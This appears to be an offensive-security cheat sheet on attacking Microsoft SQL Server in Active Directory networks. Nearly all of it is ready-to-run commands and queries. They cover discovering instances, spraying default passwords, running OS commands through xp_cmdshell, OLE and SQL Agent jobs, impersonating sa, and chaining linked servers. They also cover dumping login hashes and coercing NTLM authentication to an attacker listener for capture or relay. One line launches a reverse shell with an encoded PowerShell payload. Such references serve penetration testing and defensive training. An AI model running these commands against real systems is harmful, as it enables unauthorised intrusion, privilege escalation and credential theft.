MSSQL in AD
Discover SQL servers via SPN enumeration, authenticate with Windows and SQL auth, abuse linked servers, xp_cmdshell, impersonation, and lateral movement through MSSQL in Active Directory environments.
Sections MSSQL in AD
You have domain credentials and want to find and exploit MSSQL servers. SQL Server is deeply integrated with AD through Kerberos authentication, SPNs, and linked servers. A Kerberoastable SQL service account or a misconfigured linked server chain can take you from low-privilege domain user to sysadmin on critical database servers.
Discovery
SPN-Based Discovery
Every SQL Server instance registers an SPN in AD. Query LDAP for MSSQLSvc SPNs to find all instances.
# ldapsearch
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "DC=corp,DC=local" "(servicePrincipalName=MSSQLSvc*)" sAMAccountName servicePrincipalName dNSHostName
# Impacket GetUserSPNs (also shows Kerberoastable SQL accounts)
root@localhost:~# impacket-GetUserSPNs corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 | grep -i mssql
# NetExec MSSQL discovery
root@localhost:~# netexec mssql 10.10.11.0/24 -u svc_backup -p 'P@ssw0rd123'
# PowerView
PS C:\> Get-DomainUser -SPN | Where-Object {$_.serviceprincipalname -like "*MSSQLSvc*"} | Select-Object samaccountname, serviceprincipalname
# AD Module
PS C:\> Get-ADUser -Filter {ServicePrincipalName -like "*MSSQLSvc*"} -Properties ServicePrincipalName | Select-Object SamAccountName, ServicePrincipalName
# PowerUpSQL
PS C:\> Get-SQLInstanceDomain | Select-Object ComputerName, Instance, DomainAccountSid
Network Scan
# Nmap for MSSQL default port
root@localhost:~# nmap -p 1433 -sV --open 10.10.11.0/24
# Nmap with MSSQL scripts
root@localhost:~# nmap -p 1433 --script ms-sql-info,ms-sql-config,ms-sql-ntlm-info 10.10.11.35
Authentication
Windows Authentication (Kerberos/NTLM)
# NetExec with domain creds
root@localhost:~# netexec mssql 10.10.11.40 -u svc_backup -p 'P@ssw0rd123' -d corp.local
# Impacket mssqlclient
root@localhost:~# impacket-mssqlclient corp.local/svc_backup:'P@ssw0rd123'@10.10.11.40 -windows-auth
# With NTLM hash
root@localhost:~# impacket-mssqlclient corp.local/svc_backup@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 -windows-auth
# With Kerberos
root@localhost:~# export KRB5CCNAME=/tmp/svc_backup.ccache
root@localhost:~# impacket-mssqlclient corp.local/svc_backup@db01.corp.local -k -no-pass -windows-auth
SQL Authentication
# SQL auth (not domain-joined, uses SQL logins)
root@localhost:~# impacket-mssqlclient sa:'SQLAdm1n!'@10.10.11.40
# NetExec with local SQL auth
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'SQLAdm1n!' --local-auth
# PowerUpSQL - test access
PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-Object {$_.Status -eq "Accessible"}
# sqlcmd
PS C:\> sqlcmd -S db01.corp.local -E
PS C:\> sqlcmd -S db01.corp.local -U sa -P 'SQLAdm1n!'
Default and Common Credentials
# Spray common SQL passwords
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'sa'
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p ''
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'Password1'
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'SQLAdm1n!'
Enumeration Once Connected
# Inside mssqlclient
SQL> SELECT SYSTEM_USER;
SQL> SELECT USER_NAME();
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
SQL> SELECT name FROM master.sys.databases;
SQL> SELECT name FROM master.sys.server_principals;
SQL> SELECT * FROM master.sys.server_permissions;
# Check if xp_cmdshell is enabled
SQL> SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# List linked servers
SQL> EXEC sp_linkedservers;
SQL> SELECT * FROM sys.servers;
# Check impersonation
SQL> SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SQL> SELECT DISTINCT b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
# PowerUpSQL enumeration
PS C:\> Get-SQLServerInfo -Instance db01.corp.local
PS C:\> Get-SQLDatabase -Instance db01.corp.local
PS C:\> Get-SQLServerLinkCrawl -Instance db01.corp.local
PS C:\> Get-SQLQuery -Instance db01.corp.local -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"
Command Execution via xp_cmdshell
xp_cmdshell executes OS commands as the SQL Server service account. If the service runs as a domain account, you get domain-level access.
Enable and Use xp_cmdshell
# Enable xp_cmdshell (requires sysadmin)
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Execute commands
SQL> EXEC xp_cmdshell 'whoami';
SQL> EXEC xp_cmdshell 'ipconfig';
SQL> EXEC xp_cmdshell 'net user /domain';
# Reverse shell
SQL> EXEC xp_cmdshell 'powershell -ep bypass -e <base64_payload>';
# NetExec (auto-enables xp_cmdshell)
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'SQLAdm1n!' --local-auth -x "whoami"
root@localhost:~# netexec mssql 10.10.11.40 -u sa -p 'SQLAdm1n!' --local-auth -X "Get-Process"
Alternative Command Execution (No xp_cmdshell)
# OLE Automation Procedures
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
SQL> DECLARE @output INT; EXEC sp_OACreate 'WScript.Shell', @output OUT; EXEC sp_OAMethod @output, 'Run', NULL, 'cmd.exe /c whoami > C:\Temp\output.txt';
# CLR Assembly (compile and load a .NET assembly)
# SQL Agent Jobs (create a job that executes a command)
SQL> USE msdb; EXEC dbo.sp_add_job @job_name = 'cmdExec';
SQL> EXEC sp_add_jobstep @job_name = 'cmdExec', @step_name = 'Run', @subsystem = 'CmdExec', @command = 'whoami > C:\Temp\output.txt';
SQL> EXEC dbo.sp_add_jobserver @job_name = 'cmdExec';
SQL> EXEC dbo.sp_start_job @job_name = 'cmdExec';
Impersonation
SQL Server allows certain logins to impersonate other logins. If you can impersonate sa, you effectively become sysadmin.
# Check who you can impersonate
SQL> SELECT DISTINCT b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
# Impersonate sa
SQL> EXECUTE AS LOGIN = 'sa';
SQL> SELECT SYSTEM_USER;
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
# Now enable xp_cmdshell as sa
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
# Revert
SQL> REVERT;
Linked Server Abuse
Linked servers allow one SQL Server to execute queries on another. If Server A links to Server B, and Server B links to Server C, you can chain queries across the entire link path. Permissions are often elevated on linked servers because the link is configured with a fixed credential.
Enumerate Links
SQL> EXEC sp_linkedservers;
SQL> SELECT name, provider, data_source FROM sys.servers WHERE is_linked = 1;
# Check who you are on the linked server
SQL> EXEC ('SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [DB02.CORP.LOCAL];
# PowerUpSQL - crawl all linked servers
PS C:\> Get-SQLServerLinkCrawl -Instance db01.corp.local -Verbose
Execute Commands Through Links
# Query through a single link
SQL> EXEC ('SELECT @@SERVERNAME') AT [DB02.CORP.LOCAL];
# Enable xp_cmdshell on the linked server
SQL> EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DB02.CORP.LOCAL];
SQL> EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DB02.CORP.LOCAL];
SQL> EXEC ('EXEC xp_cmdshell ''whoami''') AT [DB02.CORP.LOCAL];
# Chain through multiple links (double hop)
SQL> EXEC ('EXEC (''SELECT @@SERVERNAME'') AT [DB03.CORP.LOCAL]') AT [DB02.CORP.LOCAL];
# Triple hop
SQL> EXEC ('EXEC (''EXEC (''''SELECT @@SERVERNAME'''') AT [DB04.CORP.LOCAL]'') AT [DB03.CORP.LOCAL]') AT [DB02.CORP.LOCAL];
IS_SRVROLEMEMBER('sysadmin') at each hop. You might be a regular user on Server A but sysadmin on Server C through the link chain.Credential Extraction from MSSQL
Read SQL Server Logins
# Dump SQL login hashes (requires sysadmin)
SQL> SELECT name, password_hash FROM sys.sql_logins;
# Crack SQL hashes with hashcat (mode 1731 for MSSQL 2012+)
# hashcat -m 1731 sql_hashes.txt wordlist.txt
Steal Service Account Credentials
# Force NTLM auth to your listener (captures the SQL service account hash)
SQL> EXEC xp_dirtree '\\10.10.14.5\share';
# Or
SQL> EXEC master..xp_subdirs '\\10.10.14.5\share';
# Catch with Responder or smbserver
root@localhost:~# sudo responder -I eth0
# Or
root@localhost:~# impacket-smbserver share /tmp -smb2support
xp_dirtree does not require sysadmin. Any user with EXECUTE permission can trigger NTLM authentication to your listener. This captures the NTLMv2 hash of the SQL Server service account, which you can crack or relay.MSSQL Relay
NTLM authentication to MSSQL can be relayed to other services.
# Relay SQL Server NTLM auth to LDAP
root@localhost:~# impacket-ntlmrelayx -t ldap://10.10.11.35 --delegate-access
# Force SQL Server to auth to you
SQL> EXEC xp_dirtree '\\10.10.14.5\share';